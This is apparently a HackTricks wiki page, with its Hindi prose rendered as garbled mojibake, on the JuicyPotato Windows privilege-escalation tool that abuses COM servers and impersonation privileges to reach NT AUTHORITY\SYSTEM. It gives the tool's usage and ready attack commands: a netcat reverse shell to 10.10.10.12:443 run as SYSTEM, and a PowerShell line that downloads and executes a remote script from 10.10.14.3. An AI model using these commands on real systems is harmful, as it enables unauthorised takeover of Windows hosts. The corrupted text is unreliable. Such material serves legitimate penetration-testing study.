JuicyPotato

Reading time: 7 minutes

tip

AWS рд╣реИрдХрд┐рдВрдЧ рд╕реАрдЦреЗрдВ рдФрд░ рдЕрднреНрдпрд╛рд╕ рдХрд░реЗрдВ:HackTricks Training AWS Red Team Expert (ARTE)
GCP рд╣реИрдХрд┐рдВрдЧ рд╕реАрдЦреЗрдВ рдФрд░ рдЕрднреНрдпрд╛рд╕ рдХрд░реЗрдВ: HackTricks Training GCP Red Team Expert (GRTE)

HackTricks рдХрд╛ рд╕рдорд░реНрдерди рдХрд░реЗрдВ

[!WARNING] > JuicyPotato Windows Server 2019 рдФрд░ Windows 10 build 1809 рд╕реЗ рдЖрдЧреЗ рдХрд╛рдо рдирд╣реАрдВ рдХрд░рддрд╛ рд╣реИред рд╣рд╛рд▓рд╛рдВрдХрд┐, PrintSpoofer,** RoguePotato, SharpEfsPotato рдХрд╛ рдЙрдкрдпреЛрдЧ рд╕рдорд╛рди рд╡рд┐рд╢реЗрд╖рд╛рдзрд┐рдХрд╛рд░реЛрдВ рдХрд╛ рд▓рд╛рдн рдЙрдард╛рдиреЗ рдФрд░ NT AUTHORITY\SYSTEM рд╕реНрддрд░ рдХреА рдкрд╣реБрдВрдЪ рдкреНрд░рд╛рдкреНрдд рдХрд░рдиреЗ рдХреЗ рд▓рд┐рдП рдХрд┐рдпрд╛ рдЬрд╛ рд╕рдХрддрд╛ рд╣реИред рдЬрд╛рдВрдЪреЗрдВ:

RoguePotato, PrintSpoofer, SharpEfsPotato, GodPotato

Juicy Potato (рд╕реБрдирд╣рд░реЗ рд╡рд┐рд╢реЗрд╖рд╛рдзрд┐рдХрд╛рд░реЛрдВ рдХрд╛ рджреБрд░реБрдкрдпреЛрдЧ)

рдПрдХ рдореАрдард╛ рд╕рдВрд╕реНрдХрд░рдг RottenPotatoNG, рдЬрд┐рд╕рдореЗрдВ рдереЛрдбрд╝рд╛ рд░рд╕ рд╣реИ, рдпрд╛рдиреА рдПрдХ рдФрд░ рд╕реНрдерд╛рдиреАрдп рд╡рд┐рд╢реЗрд╖рд╛рдзрд┐рдХрд╛рд░ рд╡реГрджреНрдзрд┐ рдЙрдкрдХрд░рдг, Windows рд╕реЗрд╡рд╛ рдЦрд╛рддреЛрдВ рд╕реЗ NT AUTHORITY\SYSTEM

рдЖрдк juicypotato рдХреЛ https://ci.appveyor.com/project/ohpe/juicy-potato/build/artifacts рд╕реЗ рдбрд╛рдЙрдирд▓реЛрдб рдХрд░ рд╕рдХрддреЗ рд╣реИрдВ

рд╕рд╛рд░рд╛рдВрд╢

juicy-potato Readme рд╕реЗ:

RottenPotatoNG рдФрд░ рдЗрд╕рдХреЗ рд╡реИрд░рд┐рдПрдВрдЯреНрд╕ рд╡рд┐рд╢реЗрд╖рд╛рдзрд┐рдХрд╛рд░ рд╡реГрджреНрдзрд┐ рд╢реНрд░реГрдВрдЦрд▓рд╛ рдХрд╛ рд▓рд╛рдн рдЙрдард╛рддреЗ рд╣реИрдВ рдЬреЛ BITS рд╕реЗрд╡рд╛ рдкрд░ рдЖрдзрд╛рд░рд┐рдд рд╣реИ рдЬрд┐рд╕рдореЗрдВ 127.0.0.1:6666 рдкрд░ MiTM рд╢реНрд░реЛрддрд╛ рд╣реИ рдФрд░ рдЬрдм рдЖрдкрдХреЗ рдкрд╛рд╕ SeImpersonate рдпрд╛ SeAssignPrimaryToken рд╡рд┐рд╢реЗрд╖рд╛рдзрд┐рдХрд╛рд░ рд╣реЛрддреЗ рд╣реИрдВред рдПрдХ Windows рдирд┐рд░реНрдорд╛рдг рд╕рдореАрдХреНрд╖рд╛ рдХреЗ рджреМрд░рд╛рди, рд╣рдордиреЗ рдПрдХ рд╕реЗрдЯрдЕрдк рдкрд╛рдпрд╛ рдЬрд╣рд╛рдВ BITS рдЬрд╛рдирдмреВрдЭрдХрд░ рдмрдВрдж рдерд╛ рдФрд░ рдкреЛрд░реНрдЯ 6666 рд▓рд┐рдпрд╛ рдЧрдпрд╛ рдерд╛ред

рд╣рдордиреЗ RottenPotatoNG рдХреЛ рд╣рдерд┐рдпрд╛рд░ рдмрдирд╛рдиреЗ рдХрд╛ рдирд┐рд░реНрдгрдп рд▓рд┐рдпрд╛: Juicy Potato рдХреЛ рдирдорд╕реНрддреЗ рдХрд╣реЗрдВред

рд╕рд┐рджреНрдзрд╛рдВрдд рдХреЗ рд▓рд┐рдП, рджреЗрдЦреЗрдВ Rotten Potato - рд╕реЗрд╡рд╛ рдЦрд╛рддреЛрдВ рд╕реЗ SYSTEM рддрдХ рд╡рд┐рд╢реЗрд╖рд╛рдзрд┐рдХрд╛рд░ рд╡реГрджреНрдзрд┐ рдФрд░ рд▓рд┐рдВрдХ рдФрд░ рд╕рдВрджрд░реНрднреЛрдВ рдХреА рд╢реНрд░реГрдВрдЦрд▓рд╛ рдХрд╛ рдкрд╛рд▓рди рдХрд░реЗрдВред

рд╣рдордиреЗ рдЦреЛрдЬрд╛ рдХрд┐, BITS рдХреЗ рдЕрд▓рд╛рд╡рд╛, рдХрдИ COM рд╕рд░реНрд╡рд░ рд╣реИрдВ рдЬрд┐рдирдХрд╛ рд╣рдо рджреБрд░реБрдкрдпреЛрдЧ рдХрд░ рд╕рдХрддреЗ рд╣реИрдВред рдЙрдиреНрд╣реЗрдВ рдмрд╕ рдпрд╣ рдХрд░рдирд╛ рд╣реИ:

  1. рд╡рд░реНрддрдорд╛рди рдЙрдкрдпреЛрдЧрдХрд░реНрддрд╛ рджреНрд╡рд╛рд░рд╛ рдЗрдВрд╕реНрдЯреЗрдВрдЯрд┐рдПрдмрд▓ рд╣реЛрдирд╛ рдЪрд╛рд╣рд┐рдП, рд╕рд╛рдорд╛рдиреНрдпрддрдГ рдПрдХ "рд╕реЗрд╡рд╛ рдЙрдкрдпреЛрдЧрдХрд░реНрддрд╛" рдЬрд┐рд╕рдХреЗ рдкрд╛рд╕ рдЕрдиреБрдХрд░рдг рд╡рд┐рд╢реЗрд╖рд╛рдзрд┐рдХрд╛рд░ рд╣реЛрддреЗ рд╣реИрдВ
  2. IMarshal рдЗрдВрдЯрд░рдлреЗрд╕ рдХреЛ рд▓рд╛рдЧреВ рдХрд░рдирд╛ рдЪрд╛рд╣рд┐рдП
  3. рдПрдХ рдКрдВрдЪреЗ рдЙрдкрдпреЛрдЧрдХрд░реНрддрд╛ (SYSTEM, Administrator, тАж) рдХреЗ рд░реВрдк рдореЗрдВ рдЪрд▓рд╛рдирд╛ рдЪрд╛рд╣рд┐рдП

рдХреБрдЫ рдкрд░реАрдХреНрд╖рдгреЛрдВ рдХреЗ рдмрд╛рдж, рд╣рдордиреЗ рдХрдИ Windows рд╕рдВрд╕реНрдХрд░рдгреЛрдВ рдкрд░ рджрд┐рд▓рдЪрд╕реНрдк CLSID рдХреА рдПрдХ рд╡рд┐рд╕реНрддреГрдд рд╕реВрдЪреА рдкреНрд░рд╛рдкреНрдд рдХреА рдФрд░ рдкрд░реАрдХреНрд╖рдг рдХрд┐рдпрд╛ред

рд░рд╕рджрд╛рд░ рд╡рд┐рд╡рд░рдг

JuicyPotato рдЖрдкрдХреЛ рдЕрдиреБрдорддрд┐ рджреЗрддрд╛ рд╣реИ:

  • рд▓рдХреНрд╖реНрдп CLSID _рдХреЛрдИ рднреА CLSID рдЪреБрдиреЗрдВ рдЬреЛ рдЖрдк рдЪрд╛рд╣рддреЗ рд╣реИрдВред рдпрд╣рд╛рдБ рдЖрдк OS рджреНрд╡рд╛рд░рд╛ рд╡реНрдпрд╡рд╕реНрдерд┐рдд рд╕реВрдЪреА рдкрд╛ рд╕рдХрддреЗ рд╣реИрдВред
  • COM рд╕реБрдирдиреЗ рд╡рд╛рд▓рд╛ рдкреЛрд░реНрдЯ рдЖрдк рдкрд╕рдВрдж рдХрд╛ COM рд╕реБрдирдиреЗ рд╡рд╛рд▓рд╛ рдкреЛрд░реНрдЯ рдкрд░рд┐рднрд╛рд╖рд┐рдд рдХрд░реЗрдВ (рд╣рд╛рд░реНрдбрдХреЛрдбреЗрдб 6666 рдХреЗ рдмрдЬрд╛рдп)
  • COM рд╕реБрдирдиреЗ рд╡рд╛рд▓рд╛ IP рдкрддрд╛ рдХрд┐рд╕реА рднреА IP рдкрд░ рд╕рд░реНрд╡рд░ рдХреЛ рдмрд╛рдЗрдВрдб рдХрд░реЗрдВ
  • рдкреНрд░рдХреНрд░рд┐рдпрд╛ рдирд┐рд░реНрдорд╛рдг рдореЛрдб рдЕрдиреБрдХрд░рдг рдХрд┐рдП рдЧрдП рдЙрдкрдпреЛрдЧрдХрд░реНрддрд╛ рдХреЗ рд╡рд┐рд╢реЗрд╖рд╛рдзрд┐рдХрд╛рд░ рдХреЗ рдЖрдзрд╛рд░ рдкрд░ рдЖрдк рдЪреБрди рд╕рдХрддреЗ рд╣реИрдВ:
  • CreateProcessWithToken (рдХреЛрдИ SeImpersonate рдХреА рдЖрд╡рд╢реНрдпрдХрддрд╛ рд╣реИ)
  • CreateProcessAsUser (рдХреЛрдИ SeAssignPrimaryToken рдХреА рдЖрд╡рд╢реНрдпрдХрддрд╛ рд╣реИ)
  • рджреЛрдиреЛрдВ
  • рд▓реЙрдиреНрдЪ рдХрд░рдиреЗ рдХреЗ рд▓рд┐рдП рдкреНрд░рдХреНрд░рд┐рдпрд╛ рдпрджрд┐ рд╢реЛрд╖рдг рд╕рдлрд▓ рд╣реЛрддрд╛ рд╣реИ рддреЛ рдПрдХ рдирд┐рд╖реНрдкрд╛рджрди рдпреЛрдЧреНрдп рдпрд╛ рд╕реНрдХреНрд░рд┐рдкреНрдЯ рд▓реЙрдиреНрдЪ рдХрд░реЗрдВ
  • рдкреНрд░рдХреНрд░рд┐рдпрд╛ рддрд░реНрдХ рд▓реЙрдиреНрдЪ рдХреА рдЧрдИ рдкреНрд░рдХреНрд░рд┐рдпрд╛ рдХреЗ рддрд░реНрдХреЛрдВ рдХреЛ рдЕрдиреБрдХреВрд▓рд┐рдд рдХрд░реЗрдВ
  • RPC рд╕рд░реНрд╡рд░ рдкрддрд╛ рдПрдХ рдЫрд┐рдкреЗ рд╣реБрдП рджреГрд╖реНрдЯрд┐рдХреЛрдг рдХреЗ рд▓рд┐рдП рдЖрдк рдПрдХ рдмрд╛рд╣рд░реА RPC рд╕рд░реНрд╡рд░ рдкрд░ рдкреНрд░рдорд╛рдгрд┐рдд рдХрд░ рд╕рдХрддреЗ рд╣реИрдВ
  • RPC рд╕рд░реНрд╡рд░ рдкреЛрд░реНрдЯ рдпрджрд┐ рдЖрдк рдПрдХ рдмрд╛рд╣рд░реА рд╕рд░реНрд╡рд░ рдкрд░ рдкреНрд░рдорд╛рдгрд┐рдд рдХрд░рдирд╛ рдЪрд╛рд╣рддреЗ рд╣реИрдВ рдФрд░ рдлрд╝рд╛рдпрд░рд╡реЙрд▓ рдкреЛрд░реНрдЯ 135 рдХреЛ рдмреНрд▓реЙрдХ рдХрд░ рд░рд╣рд╛ рд╣реИ рддреЛ рдЙрдкрдпреЛрдЧреА рд╣реИтАж
  • рдкрд░реАрдХреНрд╖рдг рдореЛрдб рдореБрдЦреНрдп рд░реВрдк рд╕реЗ рдкрд░реАрдХреНрд╖рдг рдЙрджреНрджреЗрд╢реНрдпреЛрдВ рдХреЗ рд▓рд┐рдП, рдпрд╛рдиреА CLSIDs рдХрд╛ рдкрд░реАрдХреНрд╖рдг рдХрд░рдирд╛ред рдпрд╣ DCOM рдмрдирд╛рддрд╛ рд╣реИ рдФрд░ рдЯреЛрдХрди рдХреЗ рдЙрдкрдпреЛрдЧрдХрд░реНрддрд╛ рдХреЛ рдкреНрд░рд┐рдВрдЯ рдХрд░рддрд╛ рд╣реИред рдкрд░реАрдХреНрд╖рдг рдХреЗ рд▓рд┐рдП рдпрд╣рд╛рдБ рджреЗрдЦреЗрдВ

рдЙрдкрдпреЛрдЧ

T:\>JuicyPotato.exe JuicyPotato v0.1 Mandatory args: -t createprocess call: <t> CreateProcessWithTokenW, <u> CreateProcessAsUser, <*> try both -p <program>: program to launch -l <port>: COM server listen port Optional args: -m <ip>: COM server listen address (default 127.0.0.1) -a <argument>: command line argument to pass to program (default NULL) -k <ip>: RPC server ip address (default 127.0.0.1) -n <port>: RPC server listen port (default 135)

рдЕрдВрддрд┐рдо рд╡рд┐рдЪрд╛рд░

рдЬреБрд╕реА-рдкреЛрдЯреИрдЯреЛ Readme рд╕реЗ:

рдпрджрд┐ рдЙрдкрдпреЛрдЧрдХрд░реНрддрд╛ рдХреЗ рдкрд╛рд╕ SeImpersonate рдпрд╛ SeAssignPrimaryToken рд╡рд┐рд╢реЗрд╖рд╛рдзрд┐рдХрд╛рд░ рд╣реИрдВ рддреЛ рдЖрдк SYSTEM рд╣реИрдВред

рдЗрди рд╕рднреА COM рд╕рд░реНрд╡рд░реЛрдВ рдХреЗ рджреБрд░реБрдкрдпреЛрдЧ рдХреЛ рд░реЛрдХрдирд╛ рд▓рдЧрднрдЧ рдЕрд╕рдВрднрд╡ рд╣реИред рдЖрдк DCOMCNFG рдХреЗ рдорд╛рдзреНрдпрдо рд╕реЗ рдЗрди рд╡рд╕реНрддреБрдУрдВ рдХреЗ рдЕрдиреБрдорддрд┐рдпреЛрдВ рдХреЛ рд╕рдВрд╢реЛрдзрд┐рдд рдХрд░рдиреЗ рдХреЗ рдмрд╛рд░реЗ рдореЗрдВ рд╕реЛрдЪ рд╕рдХрддреЗ рд╣реИрдВ, рд▓реЗрдХрд┐рди рд╢реБрднрдХрд╛рдордирд╛рдПрдБ, рдпрд╣ рдЪреБрдиреМрддреАрдкреВрд░реНрдг рд╣реЛрдиреЗ рд╡рд╛рд▓рд╛ рд╣реИред

рд╡рд╛рд╕реНрддрд╡рд┐рдХ рд╕рдорд╛рдзрд╛рди рд╕рдВрд╡реЗрджрдирд╢реАрд▓ рдЦрд╛рддреЛрдВ рдФрд░ рдЕрдиреБрдкреНрд░рдпреЛрдЧреЛрдВ рдХреА рд╕реБрд░рдХреНрд╖рд╛ рдХрд░рдирд╛ рд╣реИ рдЬреЛ * SERVICE рдЦрд╛рддреЛрдВ рдХреЗ рддрд╣рдд рдЪрд▓рддреЗ рд╣реИрдВред DCOM рдХреЛ рд░реЛрдХрдирд╛ рдирд┐рд╢реНрдЪрд┐рдд рд░реВрдк рд╕реЗ рдЗрд╕ рд╢реЛрд╖рдг рдХреЛ рд░реЛрдХ рджреЗрдЧрд╛ рд▓реЗрдХрд┐рди рдЗрд╕рд╕реЗ рдЕрдВрддрд░реНрдирд┐рд╣рд┐рдд OS рдкрд░ рдЧрдВрднреАрд░ рдкреНрд░рднрд╛рд╡ рдкрдбрд╝ рд╕рдХрддрд╛ рд╣реИред

рд╕реЗ: http://ohpe.it/juicy-potato/

рдЙрджрд╛рд╣рд░рдг

рдиреЛрдЯ: рдХреЛрд╢рд┐рд╢ рдХрд░рдиреЗ рдХреЗ рд▓рд┐рдП CLSIDs рдХреА рд╕реВрдЪреА рдХреЗ рд▓рд┐рдП рдЗрд╕ рдкреГрд╖реНрда рдкрд░ рдЬрд╛рдПрдВред

рдПрдХ nc.exe рд░рд┐рд╡рд░реНрд╕ рд╢реЗрд▓ рдкреНрд░рд╛рдкреНрдд рдХрд░реЗрдВ

c:\Users\Public>JuicyPotato -l 1337 -c "{4991d34b-80a1-4291-83b6-3328366b9097}" -p c:\windows\system32\cmd.exe -a "/c c:\users\public\desktop\nc.exe -e cmd.exe 10.10.10.12 443" -t * Testing {4991d34b-80a1-4291-83b6-3328366b9097} 1337 ...... [+] authresult 0 {4991d34b-80a1-4291-83b6-3328366b9097};NT AUTHORITY\SYSTEM [+] CreateProcessWithTokenW OK c:\Users\Public>

рдкреЙрд╡рд░рд╢реЗрд▓ рд░рд┐рд╡

.\jp.exe -l 1337 -c "{4991d34b-80a1-4291-83b6-3328366b9097}" -p c:\windows\system32\cmd.exe -a "/c powershell -ep bypass iex (New-Object Net.WebClient).DownloadString('http://10.10.14.3:8080/ipst.ps1')" -t *

рдПрдХ рдирдпрд╛ CMD рд▓реЙрдиреНрдЪ рдХрд░реЗрдВ (рдпрджрд┐ рдЖрдкрдХреЗ рдкрд╛рд╕ RDP рдПрдХреНрд╕реЗрд╕ рд╣реИ)

CLSID рд╕рдорд╕реНрдпрд╛рдПрдБ

рдЕрдХреНрд╕рд░, JuicyPotato рджреНрд╡рд╛рд░рд╛ рдЙрдкрдпреЛрдЧ рдХрд┐рдпрд╛ рдЬрд╛рдиреЗ рд╡рд╛рд▓рд╛ рдбрд┐рдлрд╝реЙрд▓реНрдЯ CLSID рдХрд╛рдо рдирд╣реАрдВ рдХрд░рддрд╛ рдФрд░ рдПрдХреНрд╕рдкреНрд▓реЙрдЗрдЯ рд╡рд┐рдлрд▓ рд╣реЛ рдЬрд╛рддрд╛ рд╣реИред рдЖрдорддреМрд░ рдкрд░, рдПрдХ рдХрд╛рдо рдХрд░рдиреЗ рд╡рд╛рд▓рд╛ CLSID рдЦреЛрдЬрдиреЗ рдХреЗ рд▓рд┐рдП рдХрдИ рдкреНрд░рдпрд╛рд╕реЛрдВ рдХреА рдЖрд╡рд╢реНрдпрдХрддрд╛ рд╣реЛрддреА рд╣реИред рдПрдХ рд╡рд┐рд╢рд┐рд╖реНрдЯ рдСрдкрд░реЗрдЯрд┐рдВрдЧ рд╕рд┐рд╕реНрдЯрдо рдХреЗ рд▓рд┐рдП рдкреНрд░рдпрд╛рд╕ рдХрд░рдиреЗ рдХреЗ рд▓рд┐рдП CLSIDs рдХреА рд╕реВрдЪреА рдкреНрд░рд╛рдкреНрдд рдХрд░рдиреЗ рдХреЗ рд▓рд┐рдП, рдЖрдкрдХреЛ рдЗрд╕ рдкреГрд╖реНрда рдкрд░ рдЬрд╛рдирд╛ рдЪрд╛рд╣рд┐рдП:

Windows CLSID | juicy-potato

CLSID рдХреА рдЬрд╛рдВрдЪ рдХрд░рдирд╛

рдкрд╣рд▓реЗ, рдЖрдкрдХреЛ juicypotato.exe рдХреЗ рдЕрд▓рд╛рд╡рд╛ рдХреБрдЫ рдирд┐рд╖реНрдкрд╛рджрди рдпреЛрдЧреНрдп рдлрд╝рд╛рдЗрд▓реЛрдВ рдХреА рдЖрд╡рд╢реНрдпрдХрддрд╛ рд╣реЛрдЧреАред

Join-Object.ps1 рдбрд╛рдЙрдирд▓реЛрдб рдХрд░реЗрдВ рдФрд░ рдЗрд╕реЗ рдЕрдкрдиреЗ PS рд╕рддреНрд░ рдореЗрдВ рд▓реЛрдб рдХрд░реЗрдВ, рдФрд░ GetCLSID.ps1 рдбрд╛рдЙрдирд▓реЛрдб рдХрд░реЗрдВ рдФрд░ рдирд┐рд╖реНрдкрд╛рджрд┐рдд рдХрд░реЗрдВред рдпрд╣ рд╕реНрдХреНрд░рд┐рдкреНрдЯ рдкрд░реАрдХреНрд╖рдг рдХреЗ рд▓рд┐рдП рд╕рдВрднрд╛рд╡рд┐рдд CLSIDs рдХреА рдПрдХ рд╕реВрдЪреА рдмрдирд╛рдПрдЧреАред

рдлрд┐рд░ test_clsid.bat рдбрд╛рдЙрдирд▓реЛрдб рдХрд░реЗрдВ (CLSID рд╕реВрдЪреА рдФрд░ juicypotato рдирд┐рд╖реНрдкрд╛рджрди рдпреЛрдЧреНрдп рдХреЗ рд▓рд┐рдП рдкрде рдмрджрд▓реЗрдВ) рдФрд░ рдЗрд╕реЗ рдирд┐рд╖реНрдкрд╛рджрд┐рдд рдХрд░реЗрдВред рдпрд╣ рд╣рд░ CLSID рдХреЛ рдЖрдЬрдорд╛рдирд╛ рд╢реБрд░реВ рдХрд░ рджреЗрдЧрд╛, рдФрд░ рдЬрдм рдкреЛрд░реНрдЯ рдирдВрдмрд░ рдмрджрд▓рддрд╛ рд╣реИ, рддреЛ рдЗрд╕рдХрд╛ рдорддрд▓рдм рд╣реЛрдЧрд╛ рдХрд┐ CLSID рдХрд╛рдо рдХрд░ рдЧрдпрд╛ред

рдкрд░рд╛рдорд░реНрд╢ -c рдХрд╛ рдЙрдкрдпреЛрдЧ рдХрд░рдХреЗ рдХрд╛рдо рдХрд░рдиреЗ рд╡рд╛рд▓реЗ CLSIDs рдХреА рдЬрд╛рдВрдЪ рдХрд░реЗрдВ

рд╕рдВрджрд░реНрдн

tip

AWS рд╣реИрдХрд┐рдВрдЧ рд╕реАрдЦреЗрдВ рдФрд░ рдЕрднреНрдпрд╛рд╕ рдХрд░реЗрдВ:HackTricks Training AWS Red Team Expert (ARTE)
GCP рд╣реИрдХрд┐рдВрдЧ рд╕реАрдЦреЗрдВ рдФрд░ рдЕрднреНрдпрд╛рд╕ рдХрд░реЗрдВ: HackTricks Training GCP Red Team Expert (GRTE)

HackTricks рдХрд╛ рд╕рдорд░реНрдерди рдХрд░реЗрдВ